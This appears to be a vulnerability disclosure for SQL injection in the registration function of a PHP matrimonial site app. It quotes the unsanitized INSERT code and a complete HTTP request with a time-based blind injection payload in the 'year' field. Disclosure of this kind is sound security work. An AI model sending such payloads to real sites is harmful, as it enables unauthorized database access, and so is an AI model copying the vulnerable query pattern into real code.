

Matrimonial Site System functions.php has Sqlinjection

A SQL injection vulnerability exists in the Matrimonial Site System register has Sqlinjection The basic introduction of the vulnerability is that SQL injection means that the web application does not strictly judge or filter the validity of user input data. An attacker can add additional SQL statements to the end of a predefined query statement in a web application, and perform illegal operations without the knowledge of the administrator. In this way, the database server can be tricked into performing any unauthorized query and obtaining the corresponding data information.

Source Code:

```
105
106
107 function register(){
108     if ($_SERVER['REQUEST_METHOD'] == 'POST') {
109         $uname=$_POST['name'];
110         $pass=$_POST['pass'];
111         $email=$_POST['email'];
112         $day=$_POST['day'];
113         $month=$_POST['month'];
114         $year=$_POST['year'];
115         $day=$_POST['day'];
116         $month=$_POST['month'];
117         $year=$_POST['year'];
118         $dob=$year . "-" . $month . "-" . $day ;
119         $gender=$_POST['gender'];
120         require_once("includes/dbconn.php");
121
122         $sql = "INSERT
123             INTO
124             users
125             ( profilestat, username, password, email, dateofbirth, gender, userlevel)
126             VALUES
127             (0, '$uname', '$pass', '$email', '$dob', '$gender', 0)";
128
129         if (mysqli_query($conn,$sql)) {
130             echo "Successfully Registered";
131             echo "<a href='\"login.php\"'>";
132             echo "Login to your account";
133             echo "</a>";
134         } else {
135             echo "Error: " . $sql . "<br>" . $conn->error;
136         }
137     }
138 }
139
140 function isLoggedIn(){
141     if(isset($_SESSION['id'])){
142         return false;
143     }
144     else{
145         return true;
146     }
147 }
148 }
149
```

HTTP Attack

POST /marry/register.php HTTP/1.1
Content-Type: multipart/form-data; boundary=-----YWJkMTQzNDcw
Accept: /*/*
X-Requested-With: XMLHttpRequest
Referer: http://192.168.106.128/marry/
Cookie: PHPSESSID=csvnp7l73e6sir196a5kplj800
Content-Length: 649
Accept-Encoding: gzip,deflate,br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Host: 192.168.106.128
Connection: Keep-alive

-----YWJkMTQzNDcw
Content-Disposition: form-data; name="name"

fnfOzvSR
-----YWJkMTQzNDcw
Content-Disposition: form-data; name="pass"

u]H[ww6KrA9F.x-F
-----YWJkMTQzNDcw
Content-Disposition: form-data; name="email"

testing@example.com
-----YWJkMTQzNDcw
Content-Disposition: form-data; name="day"

10
-----YWJkMTQzNDcw
Content-Disposition: form-data; name="month"

10
-----YWJkMTQzNDcw
Content-Disposition: form-data; name="year"

0'XOR(if(now()=sysdate(),sleep(4),0))XOR'Z
-----YWJkMTQzNDcw
Content-Disposition: form-data; name="gender"

female
-----YWJkMTQzNDcw--

